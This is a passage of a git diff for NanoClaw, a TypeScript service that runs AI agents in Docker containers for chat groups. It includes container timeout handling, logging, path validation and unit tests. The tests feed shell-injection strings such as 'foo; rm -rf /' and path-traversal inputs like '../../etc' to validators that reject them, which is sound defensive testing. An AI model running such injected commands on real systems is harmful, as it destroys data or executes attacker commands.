"silent" query completions. + outputChain = outputChain.then(() => onOutput(parsed)); + } catch (err) { + logger.warn({ group: group.name, error: err }, 'Failed to parse streamed output chunk'); + } + } + } + }); + + container.stderr.on('data', (data) => { + const chunk = data.toString(); + const lines = chunk.trim().split('\n'); + for (const line of lines) { + if (line) logger.debug({ container: group.folder }, line); + } + // Don't reset timeout on stderr — SDK writes debug logs continuously. + // Timeout only resets on actual output (OUTPUT_MARKER in stdout). + if (stderrTruncated) return; + const remaining = CONTAINER_MAX_OUTPUT_SIZE - stderr.length; + if (chunk.length > remaining) { + stderr += chunk.slice(0, remaining); + stderrTruncated = true; + logger.warn({ group: group.name, size: stderr.length }, 'Container stderr truncated due to size limit'); + } else { + stderr += chunk; + } + }); + + let timedOut = false; + let hadStreamingOutput = false; + const configTimeout = group.containerConfig?.timeout || CONTAINER_TIMEOUT; + // Grace period: hard timeout must be at least IDLE_TIMEOUT + 30s so the + // graceful _close sentinel has time to trigger before the hard kill fires. + const timeoutMs = Math.max(configTimeout, IDLE_TIMEOUT + 30_000); + + const killOnTimeout = () => { + timedOut = true; + logger.error({ group: group.name, containerName }, 'Container timeout, stopping gracefully'); + try { + stopContainer(containerName); + } catch (err) { + logger.warn({ group: group.name, containerName, err }, 'Graceful stop failed, force killing'); + container.kill('SIGKILL'); + } + }; + + let timeout = setTimeout(killOnTimeout, timeoutMs); + + // Reset the timeout whenever there's activity (streaming output) + const resetTimeout = () => { + clearTimeout(timeout); + timeout = setTimeout(killOnTimeout, timeoutMs); + }; + + container.on('close', (code) => { + clearTimeout(timeout); + const duration = Date.now() - startTime; + + if (timedOut) { + const ts = new Date().toISOString().replace(/[:.]/g, '-'); + const timeoutLog = path.join(logsDir, `container-${ts}.log`); + fs.writeFileSync( + timeoutLog, + [ + `=== Container Run Log (TIMEOUT) ===`, + `Timestamp: ${new Date().toISOString()}`, + `Group: ${group.name}`, + `Container: ${containerName}`, + `Duration: ${duration}ms`, + `Exit Code: ${code}`, + `Had Streaming Output: ${hadStreamingOutput}`, + ].join('\n'), + ); + + // Timeout after output = idle cleanup, not failure. + // The agent already sent its response; this is just the + // container being reaped after the idle period expired. + if (hadStreamingOutput) { + logger.info( + { group: group.name, containerName, duration, code }, + 'Container timed out after output (idle cleanup)', + ); + outputChain.then(() => { + resolve({ + status: 'success', + result: null, + newSessionId, + }); + }); + return; + } + + logger.error({ group: group.name, containerName, duration, code }, 'Container timed out with no output'); + + resolve({ + status: 'error', + result: null, + error: `Container timed out after ${configTimeout}ms`, + }); + return; + } + + const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); + const logFile = path.join(logsDir, `container-${timestamp}.log`); + const isVerbose = process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; + + const logLines = [ + `=== Container Run Log ===`, + `Timestamp: ${new Date().toISOString()}`, + `Group: ${group.name}`, + `IsMain: ${input.isMain}`, + `Duration: ${duration}ms`, + `Exit Code: ${code}`, + `Stdout Truncated: ${stdoutTruncated}`, + `Stderr Truncated: ${stderrTruncated}`, + ``, + ]; + + const isError = code !== 0; + + if (isVerbose || isError) { + // On error, log input metadata only — not the full prompt. + // Full input is only included at verbose level to avoid + // persisting user conversation content on every non-zero exit. + if (isVerbose) { + logLines.push(`=== Input ===`, JSON.stringify(input, null, 2), ``); + } else { + logLines.push( + `=== Input Summary ===`, + `Prompt length: ${input.prompt.length} chars`, + `Session ID: ${input.sessionId || 'new'}`, + ``, + ); + } + logLines.push( + `=== Container Args ===`, + containerArgs.join(' '), + ``, + `=== Mounts ===`, + mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), + ``, + `=== Stderr${stderrTruncated ? ' (TRUNCATED)' : ''} ===`, + stderr, + ``, + `=== Stdout${stdoutTruncated ? ' (TRUNCATED)' : ''} ===`, + stdout, + ); + } else { + logLines.push( + `=== Input Summary ===`, + `Prompt length: ${input.prompt.length} chars`, + `Session ID: ${input.sessionId || 'new'}`, + ``, + `=== Mounts ===`, + mounts.map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), + ``, + ); + } + + fs.writeFileSync(logFile, logLines.join('\n')); + logger.debug({ logFile, verbose: isVerbose }, 'Container log written'); + + if (code !== 0) { + logger.error( + { + group: group.name, + code, + duration, + stderr, + stdout, + logFile, + }, + 'Container exited with error', + ); + + resolve({ + status: 'error', + result: null, + error: `Container exited with code ${code}: ${stderr.slice(-200)}`, + }); + return; + } + + // Streaming mode: wait for output chain to settle, return completion marker + if (onOutput) { + outputChain.then(() => { + logger.info({ group: group.name, duration, newSessionId }, 'Container completed (streaming mode)'); + resolve({ + status: 'success', + result: null, + newSessionId, + }); + }); + return; + } + + // Legacy mode: parse the last output marker pair from accumulated stdout + try { + // Extract JSON between sentinel markers for robust parsing + const startIdx = stdout.indexOf(OUTPUT_START_MARKER); + const endIdx = stdout.indexOf(OUTPUT_END_MARKER); + + let jsonLine: string; + if (startIdx !== -1 && endIdx !== -1 && endIdx > startIdx) { + jsonLine = stdout.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); + } else { + // Fallback: last non-empty line (backwards compatibility) + const lines = stdout.trim().split('\n'); + jsonLine = lines[lines.length - 1]; + } + + const output: ContainerOutput = JSON.parse(jsonLine); + + logger.info( + { + group: group.name, + duration, + status: output.status, + hasResult: !!output.result, + }, + 'Container completed', + ); + + resolve(output); + } catch (err) { + logger.error( + { + group: group.name, + stdout, + stderr, + error: err, + }, + 'Failed to parse container output', + ); + + resolve({ + status: 'error', + result: null, + error: `Failed to parse container output: ${err instanceof Error ? err.message : String(err)}`, + }); + } + }); + + container.on('error', (err) => { + clearTimeout(timeout); + logger.error({ group: group.name, containerName, error: err }, 'Container spawn error'); + resolve({ + status: 'error', + result: null, + error: `Container spawn error: ${err.message}`, + }); + }); + }); +} + +export function writeTasksSnapshot( + groupFolder: string, + isMain: boolean, + tasks: Array<{ + id: string; + groupFolder: string; + prompt: string; + script?: string | null; + schedule_type: string; + schedule_value: string; + status: string; + next_run: string | null; + }>, +): void { + // Write filtered tasks to the group's IPC directory + const groupIpcDir = resolveGroupIpcPath(groupFolder); + fs.mkdirSync(groupIpcDir, { recursive: true }); + + // Main sees all tasks, others only see their own + const filteredTasks = isMain ? tasks : tasks.filter((t) => t.groupFolder === groupFolder); + + const tasksFile = path.join(groupIpcDir, 'current_tasks.json'); + fs.writeFileSync(tasksFile, JSON.stringify(filteredTasks, null, 2)); +} + +export interface AvailableGroup { + jid: string; + name: string; + lastActivity: string; + isRegistered: boolean; +} + +/** + * Write available groups snapshot for the container to read. + * Only main group can see all available groups (for activation). + * Non-main groups only see their own registration status. + */ +export function writeGroupsSnapshot( + groupFolder: string, + isMain: boolean, + groups: AvailableGroup[], + _registeredJids: Set, +): void { + const groupIpcDir = resolveGroupIpcPath(groupFolder); + fs.mkdirSync(groupIpcDir, { recursive: true }); + + // Main sees all groups; others see nothing (they can't activate groups) + const visibleGroups = isMain ? groups : []; + + const groupsFile = path.join(groupIpcDir, 'available_groups.json'); + fs.writeFileSync( + groupsFile, + JSON.stringify( + { + groups: visibleGroups, + lastSync: new Date().toISOString(), + }, + null, + 2, + ), + ); +} diff --git a/src/v1/container-runtime.test.ts b/src/v1/container-runtime.test.ts new file mode 100644 index 0000000..94e14e9 --- /dev/null +++ b/src/v1/container-runtime.test.ts @@ -0,0 +1,147 @@ +import { describe, it, expect, vi, beforeEach } from 'vitest'; + +// Mock logger +vi.mock('./logger.js', () => ({ + logger: { + debug: vi.fn(), + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + }, +})); + +// Mock child_process — store the mock fn so tests can configure it +const mockExecSync = vi.fn(); +vi.mock('child_process', () => ({ + execSync: (...args: unknown[]) => mockExecSync(...args), +})); + +import { + CONTAINER_RUNTIME_BIN, + readonlyMountArgs, + stopContainer, + ensureContainerRuntimeRunning, + cleanupOrphans, +} from './container-runtime.js'; +import { logger } from './logger.js'; + +beforeEach(() => { + vi.clearAllMocks(); +}); + +// --- Pure functions --- + +describe('readonlyMountArgs', () => { + it('returns -v flag with :ro suffix', () => { + const args = readonlyMountArgs('/host/path', '/container/path'); + expect(args).toEqual(['-v', '/host/path:/container/path:ro']); + }); +}); + +describe('stopContainer', () => { + it('calls docker stop for valid container names', () => { + stopContainer('nanoclaw-test-123'); + expect(mockExecSync).toHaveBeenCalledWith(`${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-test-123`, { + stdio: 'pipe', + }); + }); + + it('rejects names with shell metacharacters', () => { + expect(() => stopContainer('foo; rm -rf /')).toThrow('Invalid container name'); + expect(() => stopContainer('foo$(whoami)')).toThrow('Invalid container name'); + expect(() => stopContainer('foo`id`')).toThrow('Invalid container name'); + expect(mockExecSync).not.toHaveBeenCalled(); + }); +}); + +// --- ensureContainerRuntimeRunning --- + +describe('ensureContainerRuntimeRunning', () => { + it('does nothing when runtime is already running', () => { + mockExecSync.mockReturnValueOnce(''); + + ensureContainerRuntimeRunning(); + + expect(mockExecSync).toHaveBeenCalledTimes(1); + expect(mockExecSync).toHaveBeenCalledWith(`${CONTAINER_RUNTIME_BIN} info`, { + stdio: 'pipe', + timeout: 10000, + }); + expect(logger.debug).toHaveBeenCalledWith('Container runtime already running'); + }); + + it('throws when docker info fails', () => { + mockExecSync.mockImplementationOnce(() => { + throw new Error('Cannot connect to the Docker daemon'); + }); + + expect(() => ensureContainerRuntimeRunning()).toThrow('Container runtime is required but failed to start'); + expect(logger.error).toHaveBeenCalled(); + }); +}); + +// --- cleanupOrphans --- + +describe('cleanupOrphans', () => { + it('stops orphaned nanoclaw containers', () => { + // docker ps returns container names, one per line + mockExecSync.mockReturnValueOnce('nanoclaw-group1-111\nnanoclaw-group2-222\n'); + // stop calls succeed + mockExecSync.mockReturnValue(''); + + cleanupOrphans(); + + // ps + 2 stop calls + expect(mockExecSync).toHaveBeenCalledTimes(3); + expect(mockExecSync).toHaveBeenNthCalledWith(2, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group1-111`, { + stdio: 'pipe', + }); + expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { + stdio: 'pipe', + }); + expect(logger.info).toHaveBeenCalledWith( + { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, + 'Stopped orphaned containers', + ); + }); + + it('does nothing when no orphans exist', () => { + mockExecSync.mockReturnValueOnce(''); + + cleanupOrphans(); + + expect(mockExecSync).toHaveBeenCalledTimes(1); + expect(logger.info).not.toHaveBeenCalled(); + }); + + it('warns and continues when ps fails', () => { + mockExecSync.mockImplementationOnce(() => { + throw new Error('docker not available'); + }); + + cleanupOrphans(); // should not throw + + expect(logger.warn).toHaveBeenCalledWith( + expect.objectContaining({ err: expect.any(Error) }), + 'Failed to clean up orphaned containers', + ); + }); + + it('continues stopping remaining containers when one stop fails', () => { + mockExecSync.mockReturnValueOnce('nanoclaw-a-1\nnanoclaw-b-2\n'); + // First stop fails + mockExecSync.mockImplementationOnce(() => { + throw new Error('already stopped'); + }); + // Second stop succeeds + mockExecSync.mockReturnValueOnce(''); + + cleanupOrphans(); // should not throw + + expect(mockExecSync).toHaveBeenCalledTimes(3); + expect(logger.info).toHaveBeenCalledWith( + { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, + 'Stopped orphaned containers', + ); + }); +}); diff --git a/src/v1/container-runtime.ts b/src/v1/container-runtime.ts new file mode 100644 index 0000000..678a708 --- /dev/null +++ b/src/v1/container-runtime.ts @@ -0,0 +1,80 @@ +/** + * Container runtime abstraction for NanoClaw. + * All runtime-specific logic lives here so swapping runtimes means changing one file. + */ +import { execSync } from 'child_process'; +import os from 'os'; + +import { logger } from './logger.js'; + +/** The container runtime binary name. */ +export const CONTAINER_RUNTIME_BIN = 'docker'; + +/** CLI args needed for the container to resolve the host gateway. */ +export function hostGatewayArgs(): string[] { + // On Linux, host.docker.internal isn't built-in — add it explicitly + if (os.platform() === 'linux') { + return ['--add-host=host.docker.internal:host-gateway']; + } + return []; +} + +/** Returns CLI args for a readonly bind mount. */ +export function readonlyMountArgs(hostPath: string, containerPath: string): string[] { + return ['-v', `${hostPath}:${containerPath}:ro`]; +} + +/** Stop a container by name. Uses execFileSync to avoid shell injection. */ +export function stopContainer(name: string): void { + if (!/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/.test(name)) { + throw new Error(`Invalid container name: ${name}`); + } + execSync(`${CONTAINER_RUNTIME_BIN} stop -t 1 ${name}`, { stdio: 'pipe' }); +} + +/** Ensure the container runtime is running, starting it if needed. */ +export function ensureContainerRuntimeRunning(): void { + try { + execSync(`${CONTAINER_RUNTIME_BIN} info`, { + stdio: 'pipe', + timeout: 10000, + }); + logger.debug('Container runtime already running'); + } catch (err) { + logger.error({ err }, 'Failed to reach container runtime'); + console.error('\n╔════════════════════════════════════════════════════════════════╗'); + console.error('║ FATAL: Container runtime failed to start ║'); + console.error('║ ║'); + console.error('║ Agents cannot run without a container runtime. To fix: ║'); + console.error('║ 1. Ensure Docker is installed and running ║'); + console.error('║ 2. Run: docker info ║'); + console.error('║ 3. Restart NanoClaw ║'); + console.error('╚════════════════════════════════════════════════════════════════╝\n'); + throw new Error('Container runtime is required but failed to start', { + cause: err, + }); + } +} + +/** Kill orphaned NanoClaw containers from previous runs. */ +export function cleanupOrphans(): void { + try { + const output = execSync(`${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`, { + stdio: ['pipe', 'pipe', 'pipe'], + encoding: 'utf-8', + }); + const orphans = output.trim().split('\n').filter(Boolean); + for (const name of orphans) { + try { + stopContainer(name); + } catch { + /* already stopped */ + } + } + if (orphans.length > 0) { + logger.info({ count: orphans.length, names: orphans }, 'Stopped orphaned containers'); + } + } catch (err) { + logger.warn({ err }, 'Failed to clean up orphaned containers'); + } +} diff --git a/src/db-migration.test.ts b/src/v1/db-migration.test.ts similarity index 100% rename from src/db-migration.test.ts rename to src/v1/db-migration.test.ts diff --git a/src/db.test.ts b/src/v1/db.test.ts similarity index 100% rename from src/db.test.ts rename to src/v1/db.test.ts diff --git a/src/db.ts b/src/v1/db.ts similarity index 100% rename from src/db.ts rename to src/v1/db.ts diff --git a/src/v1/env.ts b/src/v1/env.ts new file mode 100644 index 0000000..064e6f8 --- /dev/null +++ b/src/v1/env.ts @@ -0,0 +1,42 @@ +import fs from 'fs'; +import path from 'path'; +import { logger } from './logger.js'; + +/** + * Parse the .env file and return values for the requested keys. + * Does NOT load anything into process.env — callers decide what to + * do with the values. This keeps secrets out of the process environment + * so they don't leak to child processes. + */ +export function readEnvFile(keys: string[]): Record { + const envFile = path.join(process.cwd(), '.env'); + let content: string; + try { + content = fs.readFileSync(envFile, 'utf-8'); + } catch (err) { + logger.debug({ err }, '.env file not found, using defaults'); + return {}; + } + + const result: Record = {}; + const wanted = new Set(keys); + + for (const line of content.split('\n')) { + const trimmed = line.trim(); + if (!trimmed || trimmed.startsWith('#')) continue; + const eqIdx = trimmed.indexOf('='); + if (eqIdx === -1) continue; + const key = trimmed.slice(0, eqIdx).trim(); + if (!wanted.has(key)) continue; + let value = trimmed.slice(eqIdx + 1).trim(); + if ( + value.length >= 2 && + ((value.startsWith('"') && value.endsWith('"')) || (value.startsWith("'") && value.endsWith("'"))) + ) { + value = value.slice(1, -1); + } + if (value) result[key] = value; + } + + return result; +} diff --git a/src/formatting.test.ts b/src/v1/formatting.test.ts similarity index 100% rename from src/formatting.test.ts rename to src/v1/formatting.test.ts diff --git a/src/v1/group-folder.test.ts b/src/v1/group-folder.test.ts new file mode 100644 index 0000000..cc77210 --- /dev/null +++ b/src/v1/group-folder.test.ts @@ -0,0 +1,35 @@ +import path from 'path'; + +import { describe, expect, it } from 'vitest'; + +import { isValidGroupFolder, resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; + +describe('group folder validation', () => { + it('accepts normal group folder names', () => { + expect(isValidGroupFolder('main')).toBe(true); + expect(isValidGroupFolder('family-chat')).toBe(true); + expect(isValidGroupFolder('Team_42')).toBe(true); + }); + + it('rejects traversal and reserved names', () => { + expect(isValidGroupFolder('../../etc')).toBe(false); + expect(isValidGroupFolder('/tmp')).toBe(false); + expect(isValidGroupFolder('global')).toBe(false); + expect(isValidGroupFolder('')).toBe(false); + }); + + it('resolves safe paths under groups directory', () => { + const resolved = resolveGroupFolderPath('family-chat'); + expect(resolved.endsWith(`${path.sep}groups${path.sep}family-chat`)).toBe(true); + }); + + it('resolves safe paths under data ipc directory', () => { + const resolved = resolveGroupIpcPath('family-chat'); + expect(resolved.endsWith(`${path.sep}data${path.sep}ipc${path.sep}family-chat`)).toBe(true); + }); + + it('throws for unsafe folder names', () => { + expect(() => resolveGroupFolderPath('../../etc')).toThrow(); + expect(() => resolveGroupIpcPath('/tmp')).toThrow(); + }); +}); diff --git a/src/v1/group-folder.ts b/src/v1/group-folder.ts new file mode 100644 index 0000000..5745954 --- /dev/null +++ b/src/v1/group-folder.ts @@ -0,0 +1,44 @@ +import path from 'path'; + +import { DATA_DIR, GROUPS_DIR } from './config.js'; + +const GROUP_FOLDER_PATTERN = /^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/; +const RESERVED_FOLDERS = new Set(['global']); + +export function isValidGroupFolder(folder: string): boolean { + if (!folder) return false; + if (folder !== folder.trim()) return false; + if (!GROUP_FOLDER_PATTERN.test(folder)) return false; + if (folder.includes('/') || folder.includes('\\')) return false; + if (folder.includes('..')) return false; + if (RESERVED_FOLDERS.has(folder.toLowerCase())) return false; + return true; +} + +export function assertValidGroupFolder(folder: string): void { + if (!isValidGroupFolder(folder)) { + throw new Error(`Invalid group folder "${folder}"`); + } +} + +function ensureWithinBase(baseDir: string, resolvedPath: string): void { + const rel = path.relative(baseDir, resolvedPath); + if (rel.startsWith('..') || path.isAbsolute(rel)) { + throw new Error(`Path escapes base directory: ${resolvedPath}`); + } +} + +export function resolveGroupFolderPath(folder: string): string { + assertValidGroupFolder(folder); + const groupPath = path.resolve(GROUPS_DIR, folder); + ensureWithinBase(GROUPS_DIR, groupPath); + return groupPath; +} + +export function resolveGroupIpcPath(folder: string): string { + assertValidGroupFolder(folder); + const ipcBaseDir = path.resolve(DATA_DIR, 'ipc'); + const ipcPath = path.resolve(ipcBaseDir, folder); + ensureWithinBase(ipcBaseDir, ipcPath); + return ipcPath; +} diff --git a/src/group-queue.test.ts b/src/v1/group-queue.test.ts similarity index 100% rename from src/group-queue.test.ts rename to src/v1/group-queue.test.ts diff --git a/src/group-queue.ts b/src/v1/group-queue.ts similarity index 100% rename from src/group-queue.ts rename to src/v1/group-queue.ts diff --git a/src/v1/index.ts b/src/v1/index.ts new file mode 100644 index 0000000..ded6b94 --- /dev/null +++ b/src/v1/index.ts @@ -0,0 +1,647 @@ +import fs from 'fs'; +import path from 'path'; + +import { OneCLI } from '@onecli-sh/sdk'; + +import { + ASSISTANT_NAME, + DEFAULT_TRIGGER, + getTriggerPattern, + GROUPS_DIR, + IDLE_TIMEOUT, + MAX_MESSAGES_PER_PROMPT, + ONECLI_URL, + POLL_INTERVAL, + TIMEZONE, +} from './config.js'; +import './channels/index.js'; +import { getChannelFactory, getRegisteredChannelNames } from './channels/registry.js'; +import { ContainerOutput, runContainerAgent, writeGroupsSnapshot, writeTasksSnapshot } from './container-runner.js'; +import { cleanupOrphans, ensureContainerRuntimeRunning } from './container-runtime.js'; +import { + getAllChats, + getAllRegisteredGroups, + getAllSessions, + deleteSession, + getAllTasks, + getLastBotMessageTimestamp, + getMessagesSince, + getNewMessages, + getRouterState, + initDatabase, + setRegisteredGroup, + setRouterState, + setSession, + storeChatMetadata, + storeMessage, +} from './db.js'; +import { GroupQueue } from './group-queue.js'; +import { resolveGroupFolderPath } from './group-folder.js'; +import { startIpcWatcher } from './ipc.js'; +import { findChannel, formatMessages, formatOutbound } from './router.js'; +import { restoreRemoteControl, startRemoteControl, stopRemoteControl } from './remote-control.js'; +import { isSenderAllowed, isTriggerAllowed, loadSenderAllowlist, shouldDropMessage } from './sender-allowlist.js'; +import { startSessionCleanup } from './session-cleanup.js'; +import { startSchedulerLoop } from './task-scheduler.js'; +import { Channel, NewMessage, RegisteredGroup } from './types.js'; +import { logger } from './logger.js'; + +// Re-export for backwards compatibility during refactor +export { escapeXml, formatMessages } from './router.js'; + +let lastTimestamp = ''; +let sessions: Record = {}; +let registeredGroups: Record = {}; +let lastAgentTimestamp: Record = {}; +let messageLoopRunning = false; + +const channels: Channel[] = []; +const queue = new GroupQueue(); + +const onecli = new OneCLI({ url: ONECLI_URL }); + +function ensureOneCLIAgent(jid: string, group: RegisteredGroup): void { + if (group.isMain) return; + const identifier = group.folder.toLowerCase().replace(/_/g, '-'); + onecli.ensureAgent({ name: group.name, identifier }).then( + (res) => { + logger.info({ jid, identifier, created: res.created }, 'OneCLI agent ensured'); + }, + (err) => { + logger.debug({ jid, identifier, err: String(err) }, 'OneCLI agent ensure skipped'); + }, + ); +} + +function loadState(): void { + lastTimestamp = getRouterState('last_timestamp') || ''; + const agentTs = getRouterState('last_agent_timestamp'); + try { + lastAgentTimestamp = agentTs ? JSON.parse(agentTs) : {}; + } catch { + logger.warn('Corrupted last_agent_timestamp in DB, resetting'); + lastAgentTimestamp = {}; + } + sessions = getAllSessions(); + registeredGroups = getAllRegisteredGroups(); + logger.info({ groupCount: Object.keys(registeredGroups).length }, 'State loaded'); +} + +/** + * Return the message cursor for a group, recovering from the last bot reply + * if lastAgentTimestamp is missing (new group, corrupted state, restart). + */ +function getOrRecoverCursor(chatJid: string): string { + const existing = lastAgentTimestamp[chatJid]; + if (existing) return existing; + + const botTs = getLastBotMessageTimestamp(chatJid, ASSISTANT_NAME); + if (botTs) { + logger.info({ chatJid, recoveredFrom: botTs }, 'Recovered message cursor from last bot reply'); + lastAgentTimestamp[chatJid] = botTs; + saveState(); + return botTs; + } + return ''; +} + +function saveState(): void { + setRouterState('last_timestamp', lastTimestamp); + setRouterState('last_agent_timestamp', JSON.stringify(lastAgentTimestamp)); +} + +function registerGroup(jid: string, group: RegisteredGroup): void { + let groupDir: string; + try { + groupDir = resolveGroupFolderPath(group.folder); + } catch (err) { + logger.warn({ jid, folder: group.folder, err }, 'Rejecting group registration with invalid folder'); + return; + } + + registeredGroups[jid] = group; + setRegisteredGroup(jid, group); + + // Create group folder + fs.mkdirSync(path.join(groupDir, 'logs'), { recursive: true }); + + // Copy CLAUDE.md template into the new group folder so agents have + // identity and instructions from the first run. (Fixes #1391) + const groupMdFile = path.join(groupDir, 'CLAUDE.md'); + if (!fs.existsSync(groupMdFile)) { + const templateFile = path.join(GROUPS_DIR, group.isMain ? 'main' : 'global', 'CLAUDE.md'); + if (fs.existsSync(templateFile)) { + let content = fs.readFileSync(templateFile, 'utf-8'); + if (ASSISTANT_NAME !== 'Andy') { + content = content.replace(/^# Andy$/m, `# ${ASSISTANT_NAME}`); + content = content.replace(/You are Andy/g, `You are ${ASSISTANT_NAME}`); + } + fs.writeFileSync(groupMdFile, content); + logger.info({ folder: group.folder }, 'Created CLAUDE.md from template'); + } + } + + // Ensure a corresponding OneCLI agent exists (best-effort, non-blocking) + ensureOneCLIAgent(jid, group); + + logger.info({ jid, name: group.name, folder: group.folder }, 'Group registered'); +} + +/** + * Get available groups list for the agent. + * Returns groups ordered by most recent activity. + */ +export function getAvailableGroups(): import('./container-runner.js').AvailableGroup[] { + const chats = getAllChats(); + const registeredJids = new Set(Object.keys(registeredGroups)); + + return chats + .filter((c) => c.jid !== '__group_sync__' && c.is_group) + .map((c) => ({ + jid: c.jid, + name: c.name, + lastActivity: c.last_message_time, + isRegistered: registeredJids.has(c.jid), + })); +} + +/** @internal - exported for testing */ +export function _setRegisteredGroups(groups: Record): void { + registeredGroups = groups; +} + +/** + * Process all pending messages for a group. + * Called by the GroupQueue when it's this group's turn. + */ +async function processGroupMessages(chatJid: string): Promise { + const group = registeredGroups[chatJid]; + if (!group) return true; + + const channel = findChannel(channels, chatJid); + if (!channel) { + logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); + return true; + } + + const isMainGroup = group.isMain === true; + + const missedMessages = getMessagesSince( + chatJid, + getOrRecoverCursor(chatJid), + ASSISTANT_NAME, + MAX_MESSAGES_PER_PROMPT, + ); + + if (missedMessages.length === 0) return true; + + // For non-main groups, check if trigger is required and present + if (!isMainGroup && group.requiresTrigger !== false) { + const triggerPattern = getTriggerPattern(group.trigger); + const allowlistCfg = loadSenderAllowlist(); + const hasTrigger = missedMessages.some( + (m) => + triggerPattern.test(m.content.trim()) && (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + ); + if (!hasTrigger) return true; + } + + const prompt = formatMessages(missedMessages, TIMEZONE); + + // Advance cursor so the piping path in startMessageLoop won't re-fetch + // these messages. Save the old cursor so we can roll back on error. + const previousCursor = lastAgentTimestamp[chatJid] || ''; + lastAgentTimestamp[chatJid] = missedMessages[missedMessages.length - 1].timestamp; + saveState(); + + logger.info({ group: group.name, messageCount: missedMessages.length }, 'Processing messages'); + + // Track idle timer for closing stdin when agent is idle + let idleTimer: ReturnType | null = null; + + const resetIdleTimer = () => { + if (idleTimer) clearTimeout(idleTimer); + idleTimer = setTimeout(() => { + logger.debug({ group: group.name }, 'Idle timeout, closing container stdin'); + queue.closeStdin(chatJid); + }, IDLE_TIMEOUT); + }; + + await channel.setTyping?.(chatJid, true); + let hadError = false; + let outputSentToUser = false; + + const output = await runAgent(group, prompt, chatJid, async (result) => { + // Streaming output callback — called for each agent result + if (result.result) { + const raw = typeof result.result === 'string' ? result.result : JSON.stringify(result.result); + // Strip ... blocks — agent uses these for internal reasoning + const text = raw.replace(/[\s\S]*?<\/internal>/g, '').trim(); + logger.info({ group: group.name }, `Agent output: ${raw.length} chars`); + if (text) { + await channel.sendMessage(chatJid, text); + outputSentToUser = true; + } + // Only reset idle timer on actual results, not session-update markers (result: null) + resetIdleTimer(); + } + + if (result.status === 'success') { + queue.notifyIdle(chatJid); + } + + if (result.status === 'error') { + hadError = true; + } + }); + + await channel.setTyping?.(chatJid, false); + if (idleTimer) clearTimeout(idleTimer); + + if (output === 'error' || hadError) { + // If we already sent output to the user, don't roll back the cursor — + // the user got their response and re-processing would send duplicates. + if (outputSentToUser) { + logger.warn( + { group: group.name }, + 'Agent error after output was sent, skipping cursor rollback to prevent duplicates', + ); + return true; + } + // Roll back cursor so retries can re-process these messages + lastAgentTimestamp[chatJid] = previousCursor; + saveState(); + logger.warn({ group: group.name }, 'Agent error, rolled back message cursor for retry'); + return false; + } + + return true; +} + +async function runAgent( + group: RegisteredGroup, + prompt: string, + chatJid: string, + onOutput?: (output: ContainerOutput) => Promise, +): Promise<'success' | 'error'> { + const isMain = group.isMain === true; + const sessionId = sessions[group.folder]; + + // Update tasks snapshot for container to read (filtered by group) + const tasks = getAllTasks(); + writeTasksSnapshot( + group.folder, + isMain, + tasks.map((t) => ({ + id: t.id, + groupFolder: t.group_folder, + prompt: t.prompt, + script: t.script || undefined, + schedule_type: t.schedule_type, + schedule_value: t.schedule_value, + status: t.status, + next_run: t.next_run, + })), + ); + + // Update available groups snapshot (main group only can see all groups) + const availableGroups = getAvailableGroups(); + writeGroupsSnapshot(group.folder, isMain, availableGroups, new Set(Object.keys(registeredGroups))); + + // Wrap onOutput to track session ID from streamed results + const wrappedOnOutput = onOutput + ? async (output: ContainerOutput) => { + if (output.newSessionId) { + sessions[group.folder] = output.newSessionId; + setSession(group.folder, output.newSessionId); + } + await onOutput(output); + } + : undefined; + + try { + const output = await runContainerAgent( + group, + { + prompt, + sessionId, + groupFolder: group.folder, + chatJid, + isMain, + assistantName: ASSISTANT_NAME, + }, + (proc, containerName) => queue.registerProcess(chatJid, proc, containerName, group.folder), + wrappedOnOutput, + ); + + if (output.newSessionId) { + sessions[group.folder] = output.newSessionId; + setSession(group.folder, output.newSessionId); + } + + if (output.status === 'error') { + // Detect stale/corrupt session — clear it so the next retry starts fresh. + // The session .jsonl can go missing after a crash mid-write, manual + // deletion, or disk-full. The existing backoff in group-queue.ts + // handles the retry; we just need to remove the broken session ID. + const isStaleSession = + sessionId && output.error && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); + + if (isStaleSession) { + logger.warn( + { group: group.name, staleSessionId: sessionId, error: output.error }, + 'Stale session detected — clearing for next retry', + ); + delete sessions[group.folder]; + deleteSession(group.folder); + } + + logger.error({ group: group.name, error: output.error }, 'Container agent error'); + return 'error'; + } + + return 'success'; + } catch (err) { + logger.error({ group: group.name, err }, 'Agent error'); + return 'error'; + } +} + +async function startMessageLoop(): Promise { + if (messageLoopRunning) { + logger.debug('Message loop already running, skipping duplicate start'); + return; + } + messageLoopRunning = true; + + logger.info(`NanoClaw running (default trigger: ${DEFAULT_TRIGGER})`); + + while (true) { + try { + const jids = Object.keys(registeredGroups); + const { messages, newTimestamp } = getNewMessages(jids, lastTimestamp, ASSISTANT_NAME); + + if (messages.length > 0) { + logger.info({ count: messages.length }, 'New messages'); + + // Advance the "seen" cursor for all messages immediately + lastTimestamp = newTimestamp; + saveState(); + + // Deduplicate by group + const messagesByGroup = new Map(); + for (const msg of messages) { + const existing = messagesByGroup.get(msg.chat_jid); + if (existing) { + existing.push(msg); + } else { + messagesByGroup.set(msg.chat_jid, [msg]); + } + } + + for (const [chatJid, groupMessages] of messagesByGroup) { + const group = registeredGroups[chatJid]; + if (!group) continue; + + const channel = findChannel(channels, chatJid); + if (!channel) { + logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); + continue; + } + + const isMainGroup = group.isMain === true; + const needsTrigger = 